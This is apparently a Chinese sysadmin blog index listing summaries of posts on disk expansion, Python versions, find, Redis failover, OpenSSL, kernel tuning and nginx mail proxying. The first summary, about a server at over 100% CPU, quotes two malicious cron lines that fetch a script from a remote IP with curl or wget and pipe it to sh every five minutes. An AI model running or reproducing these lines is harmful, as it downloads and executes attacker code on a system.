摘要: */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh 发现服务器CPU占用率超100,先不要着急删除文件,确定文件 阅读全文
posted @ 2017-12-15 11:29 Novicelong 阅读(906) 评论(2) 推荐(0) 编辑
摘要: 扩展/dev/vdb1 [root@VM_191_163_centos /]# df -h 新建些文件 [root@VM_191_163_centos opt]# echo 0000000 > test.txt [root@VM_191_163_centos opt]# mkdir 11 22 33 阅读全文
posted @ 2018-01-23 17:15 Novicelong 阅读(150) 评论(0) 推荐(0) 编辑
摘要: [root@sftp /]# df -hFilesystem Size Used Avail Use% Mounted on/dev/vda1 50G 2.2G 45G 5% //dev/vdb1 95G 3.9G 87G 5% /data/dev/vdb3 796G 17G 739G 3% /op 阅读全文
posted @ 2018-01-23 11:33 Novicelong 阅读(365) 评论(0) 推荐(0) 编辑
摘要: 查看现有版本 whereis pythonpython: /usr/bin/python /usr/bin/python2.7 /usr/lib/python2.7 /usr/lib64/python2.7 /usr/include/python2.7 /usr/share/man/man1/pyt 阅读全文
posted @ 2018-01-04 15:29 Novicelong 阅读(184) 评论(0) 推荐(0) 编辑
摘要: find 按时间查找 转载▼ find 按时间查找 转载▼ 分类: linuxShell日记 -mtime 修改时间-ctime 改变时间-atime 访问时间-mtime +5 至少5天之前修改过的文件,至少5天没修改过-mtime -5 5天之内修改过的文件-mtime 5 刚好5天前修改的文件 阅读全文
posted @ 2017-10-26 15:02 Novicelong 阅读(1379) 评论(0) 推荐(0) 编辑
摘要: Redis部署方式采用主备的方式,通过keepalived来对外提供虚IP,并实现主备自动切换功能。 主实例A:192.168.20.30 备实例B:192.168.20.232 虚IP:192.168.20.110 正常工作时,虚IP在主实例A上,主实例A上的数据自动同步到备实例B上,当主实例A挂 阅读全文
posted @ 2017-09-21 10:42 Novicelong 阅读(1093) 评论(0) 推荐(0) 编辑
摘要: Linux 用户(以 Ubuntu 为例) sudo apt-get install openssl Windows 用户 开发者可以在 OpenSSL 官方网站下载 Windows 的 OpenSSL 安装包 进行安装。 Linux 用户(以 Ubuntu 为例) Windows 用户 开发者可以 阅读全文
posted @ 2017-09-01 15:36 Novicelong 阅读(11359) 评论(0) 推荐(1) 编辑
摘要: -b,-k,-m,-g show output in bytes, KB, MB, or GB k,m,g显示输出字节,KB,MB,或GB -h human readable output (automatic unit scaling) 可读输出(自动单元缩放) -l show detailed 阅读全文
posted @ 2017-08-29 15:01 Novicelong 阅读(12956) 评论(0) 推荐(0) 编辑
摘要: 内核参数的优化 net.ipv4.ip_forward = 0 表示开启路由功能,0是关闭,1是开启 net.ipv4.conf.all.rp_filter=1 则是"告诉"kernel加强入站过滤(ingress filtering)和出站过滤(egress filtering) net.ipv4 阅读全文
posted @ 2017-08-28 14:33 Novicelong 阅读(669) 评论(0) 推荐(0) 编辑
摘要: 转载 http://blog.liuker.cn/index.php/nginx/35.html 环境需要: 1、需要一台nginx做mail的反向代理 2、需要一台做认证的php环境 3、一台测试客户机(测试邮件发送采用sendEmail) 整个流程: 客户机发邮件 >nginx >认证 >发送邮 阅读全文
posted @ 2017-08-25 15:46 Novicelong 阅读(10253) 评论(0) 推荐(0) 编辑